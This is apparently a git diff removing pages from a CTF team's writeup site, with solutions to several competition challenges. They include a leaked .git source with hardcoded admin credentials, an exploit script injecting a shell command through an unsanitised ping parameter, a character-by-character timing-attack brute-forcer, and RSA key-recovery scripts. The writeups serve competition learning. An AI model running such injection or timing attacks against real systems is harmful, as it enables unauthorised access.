Introduction - - - - - - - - -

- -

The challenge looks like a very simple site in pure html where we see reviews on movies

- -

Source - - - - - - - - -

- -

Is not present the source BUT…

- -

Solution - - - - - - - - -

- -

The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice

-

alt text

-

That directory listing is active and a .git folder exists

-

This allows us to see all the committed versions of the application

-

But I don’t recommend to manually dump the whole folder so we rely on a very useful tool found on github GitTools

-

Using the dump script, we can dump the entire .git folder and then use the extractor tool to restore all the versions.

-

What we get is the source with all its versions.

- -

Leaked source - - - - - - - - -

- -
# filename: app.py
-
-from flask import Flask, render_template, request, redirect, url_for, flash, session
-import psutil
-import os
-import platform
-import subprocess
-import re
-
-app = Flask(__name__)
-app.secret_key = os.urandom(32)
-
-ADMIN_USERNAME = 'superadmin'
-ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!'
-
-@app.route('/')
-def home():
-    return render_template('index.html')
-
-@app.route('/admin', methods=['GET', 'POST'])
-def admin():
-    if request.method == 'POST':
-        username = request.form.get('username')
-        password = request.form.get('password')
-        if username == ADMIN_USERNAME and password == ADMIN_PASSWORD:
-            session['logged_in'] = True
-            return redirect(url_for('admin_panel'))
-        else:
-            flash("Invalid credentials. Please try again.")
-
-    return render_template('login.html')
-
-@app.route('/admin_panel', methods=['GET', 'POST'])
-def admin_panel():
-    if 'logged_in' not in session:
-        return redirect(url_for('admin'))
-    ping_result = None
-    if request.method == 'POST':
-        ip = request.form.get('ip')
-        count = request.form.get('count', 1)
-        try:
-            count = int(count)
-            ping_result = ping_ip(ip, count)
-        except ValueError:
-            flash("Count must be a valid integer")
-        except Exception as e:
-            flash(f"An error occurred: {e}")
-
-    memory_info = psutil.virtual_memory()
-    memory_usage = memory_info.percent
-    total_memory = memory_info.total / (1024 ** 2)
-    available_memory = memory_info.available / (1024 ** 2)
-
-    return render_template('admin.html', ping_result=ping_result,
-                           memory_usage=memory_usage, total_memory=total_memory,
-                           available_memory=available_memory)
-
-
-if __name__ == '__main__':
-    app.run(debug=True)
-
-
-

We can see two interesting things: the first that stands out is that the admin’s credentials are in the clear, and another is that we have another RCE to run.

- -

Exploit - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-
-import requests
-from bs4 import BeautifulSoup
-
-BASE_URL = "https://movie-review.1nf1n1ty.team"
-URL_HOOK = ""
-
-ADMIN_USERNAME = 'superadmin'
-ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!'
-
-s = requests.Session()
-
-def login():
-  r = s.post(BASE_URL + "/servermonitor/admin",data={"username":ADMIN_USERNAME,"password":ADMIN_PASSWORD})
-  if r.status_code == 200:
-    print("[+] Login Success")
-  else:
-    print("[!] Login Failed")
-    exit(1)
-
-def exploit():
-  flag = BeautifulSoup(s.post(BASE_URL + "/servermonitor/admin_panel",data={"ip":"8.8.8.8","count":"1;cat '/flag.txt' #"}).text, 'html.parser').find_all('pre')[0].text
-  print("[+] Flag: ",flag)
-
-def main():
-  login()
-  exploit()
-
-
-if __name__ == "__main__":
-  main()
-
-# goodluck by @akiidjk
-
-

The solution is very simple, let’s log in to the admin panel and then take advantage of the fact that the count parameter is not sanitized to execute a command of our choice and set the flag

-
$ flag: ironCTF{4lways_b3_c4ar3ful_w1th_G1t!}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ironctf2024/rivest_shamir_adleman_1/index.html b/public/writeups/ironctf2024/rivest_shamir_adleman_1/index.html deleted file mode 100644 index 136ae21f..00000000 --- a/public/writeups/ironctf2024/rivest_shamir_adleman_1/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - - Rivest, Shamir, Adleman 1 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
476 points
- - -
62 solves
- - -
Dope_cat
- - -
- -
-

- Last edit: Oct 6, 2024 -

-
- - -
- - - -
- - - - - -

Rivest, Shamir, Adleman 1

-

Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he’s discussing?

- -

Introduction - - - - - - - - -

- -

Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty.

-
from Crypto.Util.number import *
-
-m = open("flag.txt",'rb').read()
-
-m = bytes_to_long(m)
-
-p = getPrime(1024)
-q = getPrime(1024)
-N = p*q
-
-e = getRandomNBitInteger(16)
-c = pow(m,e,N)
-p_ = p >> (200)
-
-print(f"{(p_,N,e,c)=}")
-
-# (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693)
-
-

It is a typical rsa challenge where you’re given a “leak”: some part of the private key which allows you to retrieve it fully. We’re given the most significant bits of p and must figure out the rest.

- -

Solution - - - - - - - - -

- -

We’ll use Coppersmith’s method to find the 200 lowermost bits of p (beta has a default value of 1 which must be tweaked to solve this)

-
R.<x> = PolynomialRing(Zmod(N))
-
-lsb = (p_*2^200 + x).monic().small_roots(beta=0.4)
-p = Integer(p_*2^200 + lsb[0])
-
-assert is_prime(p)
-
-

One more trouble to solve is that $gcd(e, \phi) \ne 1$, so we must generate all possible plaintexts corresponding to our ciphertext (source).

-
q = N // p
-phi = (p - 1) * (q - 1)
-
-k = 1
-while gcd(e, phi/k) != 1:
-    k *= gcd(e, phi/k)
-
-d = inverse_mod(e, phi/k)
-
-roots = [power_mod(a, phi/k, N) for a in range(1, 100)]
-
-g = power_mod(c, d, N)
-
-plaintexts = [r * g % N for r in roots]
-
-

This is the full solve script in sagemath.

-
p_, N, e, c = (78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693)
-
-R.<x> = PolynomialRing(Zmod(N))
-
-lsb = (p_*2^200 + x).monic().small_roots(beta=0.4)
-p = Integer(p_*2^200 + lsb[0])
-
-assert is_prime(p)
-
-q = N // p
-phi = (p - 1) * (q - 1)
-
-k = 1
-while gcd(e, phi/k) != 1:
-    k *= gcd(e, phi/k)
-
-d = inverse_mod(e, phi/k)
-
-roots = [power_mod(a, phi/k, N) for a in range(1, 100)]
-
-g = power_mod(c, d, N)
-
-plaintexts = [r * g % N for r in roots]
-
-for pt in plaintexts:
-    bs = pt.to_bytes(pt.bit_length() // 8 + 1)
-    if b'iron' in bs:
-        print('flag:', bs.decode())
-        break
-
-
$ flag: ironCTF{@Un7_CaN_yoU_53Nd_me_THOS3_3xp@NSIon_5cREws}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/ironctf2024/rivest_shamir_adleman_2/index.html b/public/writeups/ironctf2024/rivest_shamir_adleman_2/index.html deleted file mode 100644 index 8e7a8881..00000000 --- a/public/writeups/ironctf2024/rivest_shamir_adleman_2/index.html +++ /dev/null @@ -1,362 +0,0 @@ - - - - - - - - - - - Rivest, Shamir, Adleman 2 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
491 points
- - -
39 solves
- - -
Dope_cat
- - -
- -
-

- Last edit: Oct 6, 2024 -

-
- - -
- - - -
- - - - - -

Rivest, Shamir, Adleman 2

-

Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret.

- -

Introduction - - - - - - - - -

- -

Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. -It is meant as a sequel to Rivest, Shamir, Adleman 1. -We’re not given a script that generates the parameters, simply the public key and the ciphertext.

-
(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365)
-
- -

Solution - - - - - - - - -

- -

Since N is prime we can just calculate the e-th roots of c to find the plaintext(s)

-
N, e, c = (161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365)
-
-for m in GF(N)(c).nth_root(e, all=True):
-    bs = bytes(Integer(m).digits(256)[::-1])
-    if b'iron' in bs:
-        print('flag:', bs[:bs.index(b'}')+1].decode())
-        break
-
-
$ flag: ironCTF{th15_TIme_You_c4Nt_f!ND_1t_hop3FUl1Y}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/k1ndasus2025/index.html b/public/writeups/k1ndasus2025/index.html deleted file mode 100644 index 28851d48..00000000 --- a/public/writeups/k1ndasus2025/index.html +++ /dev/null @@ -1,392 +0,0 @@ - - - - - - - - - - - K!nd4SUS CTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Italy
- - -
Team K1ndasus
- - -
Cybercup 2025
- - -
- -
-

- Last edit: Mar 24, 2025 -

-
- - -
- - - -
- - - - - - -

K!nd4SUS CTF 2025 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

K!nd4SUS CTF is a Jeopardy-style Capture-The-Flag competition created with love by the K!nd4SUS Team, from the University of Milan. -The challenges topics include binary exploitation, web security, reverse engineering, web3, forensics, OSINT, cryptography, and creative miscellaneous challenges!

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 10/?
  • -
  • Total points: 2462
  • -
  • Position: 16/207
  • -
  • Rating points: 6.059
  • -
- -

Writeups - - - - - - - - -

- - -

Crypto - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/k1ndasus2025/keyinthehaystack/index.html b/public/writeups/k1ndasus2025/keyinthehaystack/index.html deleted file mode 100644 index faa9ab51..00000000 --- a/public/writeups/k1ndasus2025/keyinthehaystack/index.html +++ /dev/null @@ -1,490 +0,0 @@ - - - - - - - - - - - Key in the haystack - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
crypto
- - -
428 points
- - -
17 solves
- - -
Pietro Lepori
- - -
- -
-

- Last edit: Mar 24, 2025 -

-
- - -
- - - -
- - - - - - -

Confusion - - - - - - - - -

- -

I’ve encrypted my secret message with RSA.

-

Easy stuff, right?

-

Well, I’m not giving you the key outright…

-

I’ve hidden it in a haystack!

-

Sure, a key is not a needle, and this haystack is not that big.

-

It shouldn’t take more than 10’ to find it, if you have an half-decent metal detector.

-

Good luck!

- -

Introduction - - - - - - - - -

- -

Confusion was a crypto CTF from K!nd4SUS CTF 2025.

-
from Crypto.Util import number
-from base64 import b64encode
-
-prime = lambda: number.getPrime(512)
-def b64enc(x):
-	h = hex(x)[2:]
-	if len(h) % 2:
-		h = '0' + h
-	return b64encode(bytes.fromhex(h)).decode()
-
-
-p = prime()
-q = prime()
-with open("flag.txt") as f:
-	flag = f.readline().strip()
-
-n = p * q
-m = int(flag.encode().hex(), 16)
-c = pow(m, 65537, n)
-
-print("ciphertext:", hex(c)[2:])
-
-bale = [p, q]
-bale.extend(prime() for _ in range(1<<6))
-
-def add_hay(stack, straw):
-	x = stack[0]
-	for i in range(1, len(stack)):
-		y = stack[i]
-		stack[i] = y + (straw * x)
-		x = y
-	stack.append(straw * x)
-
-stack = [1]
-add_hay(stack, p)
-add_hay(stack, q)
-for straw in bale:
-	add_hay(stack, straw)
-
-print("size:", len(stack))
-for x in stack:
-	print(b64enc(x))
-
-

The challenge encrypts the flag with RSA and constructs a stack via the add_hay function which we’re then given to try to recover the primes $p$ and $q$ used to create the modulus $n$.

- -

Solution - - - - - - - - -

- -

The intended solution is to solve the list of equations provided by stack, this is why the description suggests it might take about 10 minutes. -But I found out a much simpler solution by simply “looking” at what stack looks like if $p$ and $q$ are seen as variables, which I simulated using sagemath:

-
sage: from Crypto.Util.number import getPrime
-....:
-....: p, q = PolynomialRing(ZZ, 'p,q').gens()
-....: bale = [p, q]
-....: bale.extend(getPrime(512) for _ in range(1<<6))
-....:
-....: def add_hay(stack, straw):
-....:     x = stack[0]
-....:     for i in range(1, len(stack)):
-....:         y = stack[i]
-....:         stack[i] = y + (straw * x)
-....:         x = y
-....:     stack.append(straw * x)
-....:
-....: stack = [1]
-....: add_hay(stack, p)
-....: add_hay(stack, q)
-....: for straw in bale:
-....:     add_hay(stack, straw)
-
-

By looking at the end of stack it’s easy to see that both the last and second to last entries have a factor of $pq$, with a simple gcd we can therefore recover $n$. -Looking now at the second and third to last entries (which I’ll call $s_2$ and $s_3$ respectively) we can see that: -$s_2 = zp^2q^2 + 2cp^2q + 2cpq^2$ -$s_3 = xp^2q^2 + yp^2q + ypq^2 + cp^2 + wpq + cq^2$

-

With some modular reduction (and a division): -$v_2 := \frac{s_2 \pmod{n^2}}{n} = 2cp + 2cq$ -$v_3 :\equiv c(p^2 + q^2) \pmod n$

-

Then since $(p + q)^2 \equiv p^2 + q^2 \pmod n$ we have: -$a :\equiv 2^{-1}v_2 \pmod n \equiv c(p + q) \pmod n$ -$b :\equiv a^2 \pmod n \equiv c^2\left(p^2 + q^2\right) \pmod n$

-

Finally we can recover $c$, and therefore $\phi(n)$ with: -$c \equiv bv_3^{-1} \pmod n$ -$\phi(n) = n - \left(ac^{-1} \pmod n\right) + 1$

-
from base64 import b64decode as bd
-from math import gcd
-
-ct = 0x7434d263623892ca660f4139c54ab02a8a14d87cd5c658fca9105f88f7ed5c888a744e949b716094c1d73fd8084eeaf72b23e97325829a69ca57a34e5e0b5272ddaf039bcc0aed2055968c8dfa7cd0373cca072c31123e6259659af03ce87b224bb7fdf13fb89b4ceb580d2d11524025ccb4f86560f3b006d99d86a63ab3aa5a
-size = 69
-
-stack = []
-with open('output.txt', 'r') as f:
-    f.readline(); f.readline()
-    for _ in range(size):
-        stack.append(int.from_bytes(bd(f.readline().rstrip())))
-
-n = gcd(stack[-1], stack[-2])
-
-v2 = stack[-2] % (n*n) // n
-v3 = stack[-3] % n
-
-a = v2 * pow(2, -1, n) % n
-b = pow(a, 2, n)
-
-c = b * pow(v3, -1, n) % n
-
-phi = n - (a * pow(c, -1, n) % n) + 1
-
-d = pow(65537, -1, phi)
-m = pow(ct, d, n)
-
-print('flag:', m.to_bytes(-(m.bit_length()//-8)).decode())
-
-
flag: KSUS{6465726976617469766573206172652061206e69636520747269636b}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/l3akctf2025/beneath-the-surface/index.html b/public/writeups/l3akctf2025/beneath-the-surface/index.html deleted file mode 100644 index 0707fe37..00000000 --- a/public/writeups/l3akctf2025/beneath-the-surface/index.html +++ /dev/null @@ -1,378 +0,0 @@ - - - - - - - - - - - - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
- -
-

- Last edit: Jan 1, 1 -

-
- - -
- - - -
- - - - - - -

Beneath the Surface - - - - - - - - -

- -

Description: On the surface, this signal is nothing but meaningless noise — a mere whisper of the wind. But dive deeper into this transmission, and a storm begins to take shape, with gray skies gathering on the horizon. Can you navigate through the static and uncover what lurks beneath the surface of the wav — before it’s too late?

- -

File - - - - - - - - -

- - -Download - -

Solution - - - - - - - - -

- -
exiftool beneath_the_surface.wav
-ExifTool Version Number         : 13.30
-File Name                       : beneath_the_surface.wav
-Directory                       : .
-File Size                       : 6.3 MB
-File Modification Date/Time     : 2025:07:13 12:40:18+02:00
-File Access Date/Time           : 2025:07:13 12:40:19+02:00
-File Inode Change Date/Time     : 2025:07:13 12:40:18+02:00
-File Permissions                : -rw-r--r--
-File Type                       : WAV
-File Type Extension             : wav
-MIME Type                       : audio/x-wav
-Encoding                        : Microsoft PCM
-Num Channels                    : 1
-Sample Rate                     : 8000
-Avg Bytes Per Sec               : 16000
-Bits Per Sample                 : 16
-Title                           : Generated audio
-Software                        : fldigi-4.2.07 (libsndfile-1.0.28)
-Comment                         : WEFAX576 freq=14011.900
-Date Created                    : 2025:07:11T10:21:36z
-Duration                        : 0:06:35
-
-

The Software and Comment fields are useful, these indicate that the audio file was generated by fldigi which contains a WEFAX (Weather Facsimile) image, transmitted at 576 lines at a frequenct of 14011.900 kHz. -So, I install fldigi with yay -S fldigi (I use Arch, btw). Open the program and go to Op mode -> WEFAX -> WEFAX576, and then, on the main window, set the frequency to 14011.9 kHz. Now, upload the file on File -> Audio -> Reproduction. -Please be patient and wait for the program to decode the entire audio and get the flag.

-
- wefax-decoded -
-
L3AK{R4diOF4X_1S_G00d_4_ImAG3_Tr4nsM1sSiON}
-
-

Author: tatore

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/l3akctf2025/index.html b/public/writeups/l3akctf2025/index.html deleted file mode 100644 index a60dea0d..00000000 --- a/public/writeups/l3akctf2025/index.html +++ /dev/null @@ -1,351 +0,0 @@ - - - - - - - - - - - L3akCTF 2025 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
crypto
- - -
web
- - -
rev
- - -
pwn
- - -
forensics
- - -
osint
- - -
mobile
- - -
hardware/rf
- - -
hash cracking
- - -
misc
- - -
- -
-

- Last edit: Jul 17, 2025 -

-
- - -
- - - -
- - - - - - -

L3akCTF 2025

- - -

Description

- -

Beginner-friendly CTF. Challenge difficulty will range from beginner to expert. -10 categories: crypto, web, rev, pwn, forensics, osint, mobile, hardware/rf, hash cracking, and misc.

- - -

Performance Summary

- -
    -
  • CTFs: 19/65
  • -
  • Total points: 950
  • -
  • Position: 201/1587
  • -
  • Rating points: 1.725
  • -
- -

Writeups

- - -

Hardware

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/litctf/index.html b/public/writeups/litctf/index.html deleted file mode 100644 index 9764f0de..00000000 --- a/public/writeups/litctf/index.html +++ /dev/null @@ -1,364 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - Lexington Informatics Tournament CTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
CTF
- - -
- -
-

- Last edit: Aug 13, 2024 -

-
- - -
- - - - -
- - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/writeups/litctf/kirbytime/index.html b/public/writeups/litctf/kirbytime/index.html deleted file mode 100644 index 7a9dd6f3..00000000 --- a/public/writeups/litctf/kirbytime/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - Kirbytime - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
125 points
- - -
218 solves
- - -
Stephanie
- - -
- -
-

- Last edit: Aug 13, 2024 -

-
- - -
- - - -
- - - - - -

Kirbytime

-

Description: Welcome to Kirby’s Website.

- -

Introduction - - - - - - - - -

- -

We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters.

- -

Source - - - - - - - - -

- -
# filename: main.py
-
-import sqlite3
-from flask import Flask, request, redirect, render_template
-import time
-app = Flask(__name__)
-
-
-@app.route('/', methods=['GET', 'POST'])
-def login():
-    message = None
-    if request.method == 'POST':
-        password = request.form['password']
-        real = 'REDACTED'
-        if len(password) != 7:
-            return render_template('login.html', message="you need 7 chars")
-        for i in range(len(password)):
-            if password[i] != real[i]:
-                message = "incorrect"
-                return render_template('login.html', message=message)
-            else:
-                time.sleep(1)
-        if password == real:
-            message = "yayy! hi kirby"
-
-    return render_template('login.html', message=message)
-
-
-if __name__ == '__main__':
-    app.run(host='0.0.0.0')
-
-
-

As we can see in the code at the ‘/’ endpoint, when the method and post, it takes the password value from the form, checks the length to be 7 and starts iterating over each character to check if it is correct, it triggers a time.sleep(1) otherwise it returns an error.

- -

Solution - - - - - - - - -

- -

The solution is very simple, in fact we can compare it to a kind of time based, when the character is correct we know that the request will take n seconds to return depending on the number of correct characters. With this script we can easily find the flag, but only with a little patience (I recommend a cup of coffee in between).

-
# filename: exploit.py
-
-import string
-import requests
-
-url = 'redacted'
-
-alphabet = string.printable
-
-length = 7
-
-correct_flag = 'a' * length
-correct_letter = 0
-flag_list = list(correct_flag)
-number_of_second_to_wait = 7
-while (correct_letter != length):
-    for letter in alphabet:
-        flag_list[correct_letter] = letter
-        flag = "".join(flag_list)
-        print(flag)
-        payload = {"password": flag}
-        r = requests.post(url=url, data=payload)
-        assert r.status_code == 200
-        print("Time: ", r.elapsed.total_seconds())
-        if r.elapsed.total_seconds() >= number_of_second_to_wait:
-            correct_letter = correct_letter + 1
-            number_of_second_to_wait += 1
-            print(flag)
-            break
-
-print("Flag found: ", "LITCTF{" + flag + "}")
-
-
-
$ flag: LITCTF{kBySlaY}
-
-

Author: akiidjk

- -
-
- - - - - -
-
-
-
Copyright © 2024 by ByteTheCookies Team
-
- - - diff --git a/public/writeups/litctf2024/index.html b/public/writeups/litctf2024/index.html deleted file mode 100644 index 9c71ddab..00000000 --- a/public/writeups/litctf2024/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - - Lexington Informatics Tournament CTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Litc
- - -
Web
- - -
Crypto
- - -
Osint
- - -
Misc
- - -
Pwn
- - -
Reverse
- - -
- -
-

- Last edit: Aug 13, 2024 -

-
- - -
- - - - -
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/litctf2024/kirbytime/index.html b/public/writeups/litctf2024/kirbytime/index.html deleted file mode 100644 index 0ee1b797..00000000 --- a/public/writeups/litctf2024/kirbytime/index.html +++ /dev/null @@ -1,437 +0,0 @@ - - - - - - - - - - - Kirbytime - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
web
- - -
python
- - -
125 points
- - -
218 solves
- - -
Stephanie
- - -
- -
-

- Last edit: Aug 13, 2024 -

-
- - -
- - - -
- - - - - -

Kirbytime

-

Description: Welcome to Kirby’s Website.

- -

Introduction - - - - - - - - -

- -

We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters.

- -

Source - - - - - - - - -

- -
# filename: main.py
-
-import sqlite3
-from flask import Flask, request, redirect, render_template
-import time
-app = Flask(__name__)
-
-
-@app.route('/', methods=['GET', 'POST'])
-def login():
-    message = None
-    if request.method == 'POST':
-        password = request.form['password']
-        real = 'REDACTED'
-        if len(password) != 7:
-            return render_template('login.html', message="you need 7 chars")
-        for i in range(len(password)):
-            if password[i] != real[i]:
-                message = "incorrect"
-                return render_template('login.html', message=message)
-            else:
-                time.sleep(1)
-        if password == real:
-            message = "yayy! hi kirby"
-
-    return render_template('login.html', message=message)
-
-
-if __name__ == '__main__':
-    app.run(host='0.0.0.0')
-
-
-

As we can see in the code at the ‘/’ endpoint, when the method and post, it takes the password value from the form, checks the length to be 7 and starts iterating over each character to check if it is correct, it triggers a time.sleep(1) otherwise it returns an error.

- -

Solution - - - - - - - - -

- -

The solution is very simple, in fact we can compare it to a kind of time based, when the character is correct we know that the request will take n seconds to return depending on the number of correct characters. With this script we can easily find the flag, but only with a little patience (I recommend a cup of coffee in between).

-
# filename: exploit.py
-
-import string
-import requests
-
-url = 'redacted'
-
-alphabet = string.printable
-
-length = 7
-
-correct_flag = 'a' * length
-correct_letter = 0
-flag_list = list(correct_flag)
-number_of_second_to_wait = 7
-while (correct_letter != length):
-    for letter in alphabet:
-        flag_list[correct_letter] = letter
-        flag = "".join(flag_list)
-        print(flag)
-        payload = {"password": flag}
-        r = requests.post(url=url, data=payload)
-        assert r.status_code == 200
-        print("Time: ", r.elapsed.total_seconds())
-        if r.elapsed.total_seconds() >= number_of_second_to_wait:
-            correct_letter = correct_letter + 1
-            number_of_second_to_wait += 1
-            print(flag)
-            break
-
-print("Flag found: ", "LITCTF{" + flag + "}")
-
-
-
$ flag: LITCTF{kBySlaY}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/m0lecon2024/yetanotherot/index.html b/public/writeups/m0lecon2024/yetanotherot/index.html deleted file mode 100644 index 05887d28..00000000 --- a/public/writeups/m0lecon2024/yetanotherot/index.html +++ /dev/null @@ -1,553 +0,0 @@ - - - - - - - - Yet Another OT - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Crypto
- - -
127 points
- - -
29 solves
- - -
Drago
- - -
- -
-

